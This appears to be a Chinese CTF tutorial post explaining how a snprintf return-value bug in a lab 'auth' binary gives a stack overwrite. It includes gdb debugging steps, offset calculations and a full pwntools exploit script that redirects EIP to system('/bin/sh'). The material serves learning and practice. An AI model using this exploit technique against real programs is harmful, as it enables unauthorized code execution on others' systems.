web选手入门pwn(8)

渗透技巧 2年前 (2022) admin
472 0 0

1.    auth

web选手入门pwn(8)

栈不可执行,再看反编译源码。

web选手入门pwn(8)

看起来是个登录框,那个md5就是root123456,似乎打算让你输入root账户123456的密码就登录成功。

web选手入门pwn(8)

但显然这不是正确答案。仔细思考一下,这样设计会有点问题,我输入root1/23456也可以登录成功。

web选手入门pwn(8)

这说明有个字符串合并函数,正是__strcat()。

web选手入门pwn(8)

栈溢出点在snprintf(),这个函数是为了安全性代替sprintf(),它多了一个size参数(int32-v6),使得打印的字符串长度受限。
这里的代码为了将v5(账户)和v6(密码)先后放在s地址合并(最大长度32),先将v5放进s,size为32-0=32,获取len为snprintf()返回的长度。再将v6放进s,size为32-len。
假如v5长度为4(root),那么等于执行了两次snprintf为。

len = snprintf(s, 32, "%s", v5);//len=4snprintf(s+len, 32-len, "%s", v6);

在gdb中给snprintf下断可以很清楚的看明白。
gdb auth
disass __strcat
b* 0x08048eda
r
AAAA
BBBB
c

web选手入门pwn(8)

web选手入门pwn(8)

这样看起来没问题,但snprintf的返回值并不是实际打印的字符个数,而是未经过size限制的个数,也就是说len就等于v5字符串的长度,如果v5长度超过32, 32-len就变成了负数,也就是很大的一个数字,同时第一个参数s+len也可以变成高位栈上的任意地址。比如我们输入32A+BBBB/CCCC,会破坏掉一个栈,在代码执行到最后的lea esp, [ecx-4]时发生错误。

web选手入门pwn(8)

gdb中具体的错误如下。

web选手入门pwn(8)

第二次snprintf如下。

web选手入门pwn(8)

可以看到maxlen明显负数溢出成一个很大的正数了,s地址也可以自己控制,那么我们需要将CCCC赋值到一个栈上的返回地址,它必须比0xffffd1d0更高。
stack 200

web选手入门pwn(8)

最近的有两个地址,先试试36+0xffffd1dc-0xffffd1d0=48并未引发崩溃。
再试试36+0xffffd1ec-0xffffd1d0=64

web选手入门pwn(8)

成功引发崩溃,而且EIP为CCCC,这题又提供了system和/bin/sh的后门地址。构造payload如下。

#!/usr/bin/env pythonfrom pwn import *
#context.log_level = 'debug'
#sh = gdb.debug("./auth")sh = process("./auth")
elf = ELF("./auth")system_addr = elf.plt["system"]binsh_addr = elf.search('/bin/sh').next()
print(sh.recvline())sh.sendline("A"*64)print(sh.recv())sh.sendline(p32(system_addr)+"CCCC"+p32(binsh_addr))sh.interactive()

web选手入门pwn(8)

这题特殊的地方在于,并不像其他栈溢出题一样,输入一个足够长的字符串就能引发程序崩溃,相反,过大的字符串只会覆盖到不重要的栈上反而能让代码执行成功。

https://github.com/kezibei/pwn_study/blob/main/auth

原文始发于微信公众号(珂技知识分享):web选手入门pwn(8)

版权声明:admin 发表于 2022年10月17日 下午4:59。
转载请注明:web选手入门pwn(8) | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...